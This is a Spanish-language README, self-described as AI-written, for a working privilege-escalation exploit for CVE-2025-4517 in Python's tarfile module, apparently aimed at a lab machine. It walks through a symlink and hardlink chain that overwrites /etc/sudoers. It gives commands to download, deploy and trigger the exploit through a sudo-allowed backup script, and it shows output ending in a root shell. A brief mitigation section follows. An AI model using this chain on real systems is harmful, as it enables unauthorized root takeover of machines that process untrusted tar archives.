
Script de escalada de privilegios para CVE-2025-4517
Este exploit y su descripción están escritos por IA. Si encuentras un error o problema, ¡por favor házmelo saber! Este exploit fue probado y confirmado que funciona. ¡Gracias!
Este exploit aprovecha CVE-2025-4517, una vulnerabilidad crítica en el módulo tarfile de Python que permite la escritura arbitraria de archivos mediante una combinación de traversal de ruta con enlaces simbólicos y manipulación de enlaces duros. Esto elude la protección filter="data" introducida en Python 3.12.
La vulnerabilidad explota un fallo en cómo tarfile.extractall() de Python maneja la interacción entre:
filter="data" bloquea los escapes directos de enlaces simbólicos, pero la técnica de enlace duro sortea esta protección1. Crear directorios profundamente anidados (confusión de ruta)
└─ Usa nombres de directorio de 247 caracteres repetidos 16 niveles de profundidad
2. Construir cadena de enlaces simbólicos para traversal
└─ Crea enlaces simbólicos que resuelven hacia arriba a través del árbol de directorios
3. Enlace simbólico de escape al directorio objetivo (/etc)
└─ El enlace simbólico final apunta fuera del límite de extracción
4. Crear enlace duro apuntando a través del enlace simbólico de escape
└─ Enlace duro: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
5. Escribir contenido en el enlace duro
└─ Escribir en "sudoers_link" realmente escribe en /etc/sudoers
Script: /opt/backup_clients/restore_backup_clients.py
# Fragmento de código vulnerable
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Permisos de Sudo:
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
/opt/backup_clients/backups/# Descargar el exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Mover al sistema objetivo
# Ejecutar el exploit
./exploit.py
# O con Python
python3 exploit.py
Si prefieres ejecutar cada paso manualmente:
# 1. Crear el tar del exploit
python3 exploit.py --create-only
# 2. Desplegar en el objetivo
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar
# 3. Ejecutar a través del script vulnerable
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar \
-r restore_exploit
# 4. Verificar la modificación de sudoers
sudo cat /etc/sudoers | grep "$(whoami)"
# 5. Obtener root
sudo /bin/bash
╔═══════════════════════════════════════════════════════════╗
║ Exploit de Tarfile CVE-2025-4517 ║
║ Escalada de Privilegios vía Evasión de Enlace Simbólico y Duro ║
╚═══════════════════════════════════════════════════════════╝
[*] Usuario objetivo: wacky
[*] Creando tar del exploit para el usuario: wacky
[*] Fase 1: Construyendo estructura de directorios anidados...
[*] Fase 2: Creando cadena de enlaces simbólicos para traversal de ruta...
[*] Fase 3: Creando enlace simbólico de escape a /etc...
[*] Fase 4: Creando enlace duro a /etc/sudoers...
[*] Fase 5: Escribiendo entrada en sudoers...
[+] Tar del exploit creado: /tmp/cve_2025_4517_exploit.tar
[*] Desplegando exploit en: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit desplegado exitosamente
[*] Disparando extracción a través del script vulnerable...
[+] Backup: backup_9999.tar
[+] Directorio de staging: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extracción completada en /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extracción completada
[*] Verificando éxito del exploit...
[+] ¡ÉXITO! Usuario 'wacky' añadido a sudoers
[+] Entrada: wacky ALL=(ALL) NOPASSWD: ALL
============================================================
[+] ¡EXPLOTACIÓN EXITOSA!
[+] El usuario 'wacky' ahora tiene privilegios sudo completos
[+] Obtén root con: sudo /bin/bash
============================================================
[?] ¿Iniciar shell root ahora? (s/n): s
[*] Iniciando shell root...
[*] Ejecuta: sudo /bin/bash
root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
/etc/sudoers python3 --version # Verificar versión
# Verificar miembros sospechosos antes de la extracción
for member in tar.getmembers():
if member.islnk() or member.issym():
raise SecurityError("No se permiten enlaces simbólicos/duros")
import os
for member in tar.getmembers():
member_path = os.path.join(extract_path, member.name)
if not member_path.startswith(os.path.abspath(extract_path)):
raise SecurityError("Traversal de ruta detectado")
# Eliminar o restringir el acceso sudo al script de backup
visudo
# Verificar el contenido del tar antes de la extracción
tar -tzf archive.tar | grep -E '\.\./|^/'
/etc/sudoers # Configurar AIDE o un IDS similar
aide --check
Este exploit se proporciona solo con fines educativos y está destinado para su uso en:
El/los autor(es) no asumen ninguna responsabilidad por el mal uso de este código.
Investigación Original: Múltiples investigadores de seguridad (ver Referencias)
Licencia MIT - Ver archivo LICENSE para más detalles
Última Actualización: Marzo 2026